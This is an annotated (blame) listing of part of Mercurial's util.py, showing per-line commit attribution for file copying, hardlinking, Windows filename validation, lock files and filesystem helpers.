1eaa8d90c689 fix util.copyfile to deal with symlinks Eric St-Jean <esj@wwd.ca> parents: 4256 diff changeset	1898 shutil.copyfile(src, dest)
27369 c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data Siddharth Agarwal <sid0@fb.com> parents: 26665 diff changeset	1899 if copystat:
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data Siddharth Agarwal <sid0@fb.com> parents: 26665 diff changeset	1900 # copystat also copies mode
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data Siddharth Agarwal <sid0@fb.com> parents: 26665 diff changeset	1901 shutil.copystat(src, dest)
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data Siddharth Agarwal <sid0@fb.com> parents: 26665 diff changeset	1902 else:
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data Siddharth Agarwal <sid0@fb.com> parents: 26665 diff changeset	1903 shutil.copymode(src, dest)
29204 ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29201 diff changeset	1904 if oldstat and oldstat.stat:
32792 7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	1905 newstat = filestat.frompath(dest)
29204 ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29201 diff changeset	1906 if newstat.isambig(oldstat):
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29201 diff changeset	1907 # stat of copied file is ambiguous to original one
36789 ffa3026d4196 cleanup: use stat_result[stat.ST_MTIME] instead of stat_result.st_mtime Augie Fackler <augie@google.com> parents: 36747 diff changeset	1908 advanced = (
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1909 oldstat.stat[stat.ST_MTIME] + 1
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1910 ) & 0x7FFFFFFF
29204 ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29201 diff changeset	1911 os.utime(dest, (advanced, advanced))
25660 328739ea70c3 global: mass rewrite to use modern exception syntax Gregory Szorc <gregory.szorc@gmail.com> parents: 25420 diff changeset	1912 except shutil.Error as inst:
37099 895f209b593b util: use error.Abort instead of local alias Yuya Nishihara <yuya@tcha.org> parents: 37098 diff changeset	1913 raise error.Abort(str(inst))
3629 4cfb72bcb978 util: add copyfile function Matt Mackall <mpm@selenic.com> parents: 3568 diff changeset	1914
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1915
38386 63e6f5ae84bc copystore: use progress helper Martin von Zweigbergk <martinvonz@google.com> parents: 38323 diff changeset	1916 def copyfiles(src, dst, hardlink=None, progress=None):
24439 2ddfac2f163e util: add progress callback support to copyfiles Augie Fackler <augie@google.com> parents: 24236 diff changeset	1917 """Copy a directory tree using hardlinks if possible."""
2ddfac2f163e util: add progress callback support to copyfiles Augie Fackler <augie@google.com> parents: 24236 diff changeset	1918 num = 0
1241 3b4f05ff3130 Add support for cloning with hardlinks on windows. Stephen Darnell parents: 1207 diff changeset	1919
38386 63e6f5ae84bc copystore: use progress helper Martin von Zweigbergk <martinvonz@google.com> parents: 38323 diff changeset	1920 def settopic():
63e6f5ae84bc copystore: use progress helper Martin von Zweigbergk <martinvonz@google.com> parents: 38323 diff changeset	1921 if progress:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1922 progress.topic = _(b'linking') if hardlink else _(b'copying')
698 df78d8ccac4c Use python function instead of external 'cp' command when cloning repos. Thomas Arendsen Hein <thomas@intevation.de> parents: 667 diff changeset	1923
1207 a7b8812973d9 Rewrite copytree as copyfiles mpm@selenic.com parents: 1200 diff changeset	1924 if os.path.isdir(src):
31724 456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories Jun Wu <quark@fb.com> parents: 31723 diff changeset	1925 if hardlink is None:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1926 hardlink = (
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1927 os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1928 )
38386 63e6f5ae84bc copystore: use progress helper Martin von Zweigbergk <martinvonz@google.com> parents: 38323 diff changeset	1929 settopic()
1207 a7b8812973d9 Rewrite copytree as copyfiles mpm@selenic.com parents: 1200 diff changeset	1930 os.mkdir(dst)
32248 d74b0cff94a9 osutil: proxy through util (and platform) modules (API) Yuya Nishihara <yuya@tcha.org> parents: 32245 diff changeset	1931 for name, kind in listdir(src):
1207 a7b8812973d9 Rewrite copytree as copyfiles mpm@selenic.com parents: 1200 diff changeset	1932 srcname = os.path.join(src, name)
a7b8812973d9 Rewrite copytree as copyfiles mpm@selenic.com parents: 1200 diff changeset	1933 dstname = os.path.join(dst, name)
38386 63e6f5ae84bc copystore: use progress helper Martin von Zweigbergk <martinvonz@google.com> parents: 38323 diff changeset	1934 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
11251 c61442f6d106 clone: print number of linked/copied files on --debug Adrian Buehlmann <adrian@cadifra.com> parents: 11232 diff changeset	1935 num += n
1207 a7b8812973d9 Rewrite copytree as copyfiles mpm@selenic.com parents: 1200 diff changeset	1936 else:
31724 456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories Jun Wu <quark@fb.com> parents: 31723 diff changeset	1937 if hardlink is None:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1938 hardlink = (
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1939 os.stat(os.path.dirname(src)).st_dev
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1940 == os.stat(os.path.dirname(dst)).st_dev
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1941 )
38386 63e6f5ae84bc copystore: use progress helper Martin von Zweigbergk <martinvonz@google.com> parents: 38323 diff changeset	1942 settopic()
31724 456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories Jun Wu <quark@fb.com> parents: 31723 diff changeset	1943
1241 3b4f05ff3130 Add support for cloning with hardlinks on windows. Stephen Darnell parents: 1207 diff changeset	1944 if hardlink:
3b4f05ff3130 Add support for cloning with hardlinks on windows. Stephen Darnell parents: 1207 diff changeset	1945 try:
14235 b9e1b041744f rename util.os_link to oslink Adrian Buehlmann <adrian@cadifra.com> parents: 14234 diff changeset	1946 oslink(src, dst)
2050 e49d0fa38176 util.copyfiles: only switch to copy if hardlink raises IOError or OSError. Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2026 diff changeset	1947 except (IOError, OSError):
1241 3b4f05ff3130 Add support for cloning with hardlinks on windows. Stephen Darnell parents: 1207 diff changeset	1948 hardlink = False
1591 5a3229cf1492 do not copy atime and mtime in util.copyfiles Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 1585 diff changeset	1949 shutil.copy(src, dst)
1241 3b4f05ff3130 Add support for cloning with hardlinks on windows. Stephen Darnell parents: 1207 diff changeset	1950 else:
1591 5a3229cf1492 do not copy atime and mtime in util.copyfiles Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 1585 diff changeset	1951 shutil.copy(src, dst)
11251 c61442f6d106 clone: print number of linked/copied files on --debug Adrian Buehlmann <adrian@cadifra.com> parents: 11232 diff changeset	1952 num += 1
38386 63e6f5ae84bc copystore: use progress helper Martin von Zweigbergk <martinvonz@google.com> parents: 38323 diff changeset	1953 if progress:
63e6f5ae84bc copystore: use progress helper Martin von Zweigbergk <martinvonz@google.com> parents: 38323 diff changeset	1954 progress.increment()
698 df78d8ccac4c Use python function instead of external 'cp' command when cloning repos. Thomas Arendsen Hein <thomas@intevation.de> parents: 667 diff changeset	1955
11251 c61442f6d106 clone: print number of linked/copied files on --debug Adrian Buehlmann <adrian@cadifra.com> parents: 11232 diff changeset	1956 return hardlink, num
11254 640d419725d0 util.copyfiles: don't try os_link() again if it failed before Adrian Buehlmann <adrian@cadifra.com> parents: 11010 diff changeset	1957
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1958
34069 ca6a3852daf0 util: use set for reserved Windows filenames Gregory Szorc <gregory.szorc@gmail.com> parents: 34020 diff changeset	1959 _winreservednames = {
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1960 b'con',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1961 b'prn',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1962 b'aux',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1963 b'nul',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1964 b'com1',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1965 b'com2',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1966 b'com3',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1967 b'com4',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1968 b'com5',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1969 b'com6',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1970 b'com7',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1971 b'com8',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1972 b'com9',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1973 b'lpt1',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1974 b'lpt2',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1975 b'lpt3',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1976 b'lpt4',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1977 b'lpt5',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1978 b'lpt6',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1979 b'lpt7',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1980 b'lpt8',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1981 b'lpt9',
34069 ca6a3852daf0 util: use set for reserved Windows filenames Gregory Szorc <gregory.szorc@gmail.com> parents: 34020 diff changeset	1982 }
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1983 _winreservedchars = b':*?"<>\|'
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1984
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1985
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	1986 def checkwinfilename(path):
20000 0849d280663e util: warn when adding paths ending with \ Mads Kiilerich <madski@unity3d.com> parents: 19951 diff changeset	1987 r'''Check that the base-relative path is a valid filename on Windows.
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	1988 Returns None if the path is ok, or a UI string describing the problem.
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	1989
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1990 >>> checkwinfilename(b"just/a/normal/path")
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1991 >>> checkwinfilename(b"foo/bar/con.xml")
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	1992 "filename contains 'con', which is reserved on Windows"
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1993 >>> checkwinfilename(b"foo/con.xml/bar")
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	1994 "filename contains 'con', which is reserved on Windows"
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1995 >>> checkwinfilename(b"foo/bar/xml.con")
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1996 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	1997 "filename contains 'AUX', which is reserved on Windows"
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1998 >>> checkwinfilename(b"foo/bar/bla:.txt")
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	1999 "filename contains ':', which is reserved on Windows"
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2000 >>> checkwinfilename(b"foo/bar/b\07la.txt")
20000 0849d280663e util: warn when adding paths ending with \ Mads Kiilerich <madski@unity3d.com> parents: 19951 diff changeset	2001 "filename contains '\\x07', which is invalid on Windows"
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2002 >>> checkwinfilename(b"foo/bar/bla ")
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	2003 "filename ends with ' ', which is not allowed on Windows"
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2004 >>> checkwinfilename(b"../bar")
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2005 >>> checkwinfilename(b"foo\\")
20000 0849d280663e util: warn when adding paths ending with \ Mads Kiilerich <madski@unity3d.com> parents: 19951 diff changeset	2006 "filename ends with '\\', which is invalid on Windows"
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2007 >>> checkwinfilename(b"foo\\/bar")
20000 0849d280663e util: warn when adding paths ending with \ Mads Kiilerich <madski@unity3d.com> parents: 19951 diff changeset	2008 "directory name ends with '\\', which is invalid on Windows"
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	2009 '''
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2010 if path.endswith(b'\\'):
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2011 return _(b"filename ends with '\\', which is invalid on Windows")
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2012 if b'\\/' in path:
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2013 return _(b"directory name ends with '\\', which is invalid on Windows")
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2014 for n in path.replace(b'\\', b'/').split(b'/'):
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	2015 if not n:
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	2016 continue
32131 377c74ef008d win32mbcs: avoid unintentional failure at colorization FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 31952 diff changeset	2017 for c in _filenamebytestr(n):
14262 23cd7eeff678 util: rename _windows_reserved_filenames and _windows_reserved_chars Adrian Buehlmann <adrian@cadifra.com> parents: 14250 diff changeset	2018 if c in _winreservedchars:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2019 return (
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2020 _(
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2021 b"filename contains '%s', which is reserved "
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2022 b"on Windows"
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2023 )
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2024 % c
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2025 )
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	2026 if ord(c) <= 31:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2027 return _(
43117 8ff1ecfadcd1 cleanup: join string literals that are already on one line Martin von Zweigbergk <martinvonz@google.com> parents: 43106 diff changeset	2028 b"filename contains '%s', which is invalid on Windows"
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2029 ) % stringutil.escapestr(c)
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2030 base = n.split(b'.')[0]
14262 23cd7eeff678 util: rename _windows_reserved_filenames and _windows_reserved_chars Adrian Buehlmann <adrian@cadifra.com> parents: 14250 diff changeset	2031 if base and base.lower() in _winreservednames:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2032 return (
43117 8ff1ecfadcd1 cleanup: join string literals that are already on one line Martin von Zweigbergk <martinvonz@google.com> parents: 43106 diff changeset	2033 _(b"filename contains '%s', which is reserved on Windows")
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2034 % base
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2035 )
34362 7508a7dc95c1 py3: replace bytes[n] with slicing in checkwinfilename() Yuya Nishihara <yuya@tcha.org> parents: 34361 diff changeset	2036 t = n[-1:]
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2037 if t in b'. ' and n not in b'..':
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2038 return (
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2039 _(
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2040 b"filename ends with '%s', which is not allowed "
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2041 b"on Windows"
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2042 )
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2043 % t
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2044 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2045
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	2046
34645 75979c8d4572 codemod: use pycompat.iswindows Jun Wu <quark@fb.com> parents: 34554 diff changeset	2047 if pycompat.iswindows:
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	2048 checkosfilename = checkwinfilename
30994 ae5d60bb70c9 util: introduce timer() Simon Farnsworth <simonfar@fb.com> parents: 30945 diff changeset	2049 timer = time.clock
7890 e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	2050 else:
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	2051 checkosfilename = platform.checkosfilename
30994 ae5d60bb70c9 util: introduce timer() Simon Farnsworth <simonfar@fb.com> parents: 30945 diff changeset	2052 timer = time.time
ae5d60bb70c9 util: introduce timer() Simon Farnsworth <simonfar@fb.com> parents: 30945 diff changeset	2053
ae5d60bb70c9 util: introduce timer() Simon Farnsworth <simonfar@fb.com> parents: 30945 diff changeset	2054 if safehasattr(time, "perf_counter"):
ae5d60bb70c9 util: introduce timer() Simon Farnsworth <simonfar@fb.com> parents: 30945 diff changeset	2055 timer = time.perf_counter
7890 e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	2056
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2057
7890 e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	2058 def makelock(info, pathname):
36724 d77c3b023393 lock: block signal interrupt while making a lock file Yuya Nishihara <yuya@tcha.org> parents: 36722 diff changeset	2059 """Create a lock file atomically if possible
d77c3b023393 lock: block signal interrupt while making a lock file Yuya Nishihara <yuya@tcha.org> parents: 36722 diff changeset	2060
d77c3b023393 lock: block signal interrupt while making a lock file Yuya Nishihara <yuya@tcha.org> parents: 36722 diff changeset	2061 This may leave a stale lock file if symlink isn't supported and signal
d77c3b023393 lock: block signal interrupt while making a lock file Yuya Nishihara <yuya@tcha.org> parents: 36722 diff changeset	2062 interrupt is enabled.
d77c3b023393 lock: block signal interrupt while making a lock file Yuya Nishihara <yuya@tcha.org> parents: 36722 diff changeset	2063 """
7890 e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	2064 try:
e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	2065 return os.symlink(info, pathname)
25660 328739ea70c3 global: mass rewrite to use modern exception syntax Gregory Szorc <gregory.szorc@gmail.com> parents: 25420 diff changeset	2066 except OSError as why:
7890 e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	2067 if why.errno == errno.EEXIST:
e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	2068 raise
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2069 except AttributeError: # no symlink in os
7890 e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	2070 pass
e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	2071
36791 1fbbb8e83392 py3: read/write plain lock file in binary mode Yuya Nishihara <yuya@tcha.org> parents: 36790 diff changeset	2072 flags = os.O_CREAT \| os.O_WRONLY \| os.O_EXCL \| getattr(os, 'O_BINARY', 0)
1fbbb8e83392 py3: read/write plain lock file in binary mode Yuya Nishihara <yuya@tcha.org> parents: 36790 diff changeset	2073 ld = os.open(pathname, flags)
704 5ca319a641e1 Make makelock and readlock work on filesystems without symlink support. Thomas Arendsen Hein <thomas@intevation.de> parents: 698 diff changeset	2074 os.write(ld, info)
5ca319a641e1 Make makelock and readlock work on filesystems without symlink support. Thomas Arendsen Hein <thomas@intevation.de> parents: 698 diff changeset	2075 os.close(ld)
5ca319a641e1 Make makelock and readlock work on filesystems without symlink support. Thomas Arendsen Hein <thomas@intevation.de> parents: 698 diff changeset	2076
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2077
7890 e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	2078 def readlock(pathname):
e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	2079 try:
39909 5fe0b880200e py3: convert os.readlink() path to native strings on Windows Matt Harbison <matt_harbison@yahoo.com> parents: 39793 diff changeset	2080 return readlink(pathname)
25660 328739ea70c3 global: mass rewrite to use modern exception syntax Gregory Szorc <gregory.szorc@gmail.com> parents: 25420 diff changeset	2081 except OSError as why:
7890 e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	2082 if why.errno not in (errno.EINVAL, errno.ENOSYS):
e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	2083 raise
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2084 except AttributeError: # no symlink in os
7890 e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	2085 pass
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2086 with posixfile(pathname, b'rb') as fp:
39910 4017968f0a1d util: use a context manager in readlock() Matt Harbison <matt_harbison@yahoo.com> parents: 39909 diff changeset	2087 return fp.read()
704 5ca319a641e1 Make makelock and readlock work on filesystems without symlink support. Thomas Arendsen Hein <thomas@intevation.de> parents: 698 diff changeset	2088
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2089
2176 9b42304d9896 fix file handling bugs on windows. Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2117 diff changeset	2090 def fstat(fp):
9b42304d9896 fix file handling bugs on windows. Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2117 diff changeset	2091 '''stat file object that may not have fileno method.'''
9b42304d9896 fix file handling bugs on windows. Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2117 diff changeset	2092 try:
9b42304d9896 fix file handling bugs on windows. Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2117 diff changeset	2093 return os.fstat(fp.fileno())
9b42304d9896 fix file handling bugs on windows. Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2117 diff changeset	2094 except AttributeError:
9b42304d9896 fix file handling bugs on windows. Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2117 diff changeset	2095 return os.stat(fp.name)
9b42304d9896 fix file handling bugs on windows. Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2117 diff changeset	2096
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2097
3784 1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	2098 # File system features
1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	2099
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2100
29893 6f447b9ec263 util: rename checkcase() to fscasesensitive() (API) Martin von Zweigbergk <martinvonz@google.com> parents: 29843 diff changeset	2101 def fscasesensitive(path):
3784 1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	2102 """
18911 451eb1c27c1b util: improve doc for checkcase Mads Kiilerich <mads@kiilerich.com> parents: 18868 diff changeset	2103 Return true if the given path is on a case-sensitive filesystem
3784 1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	2104
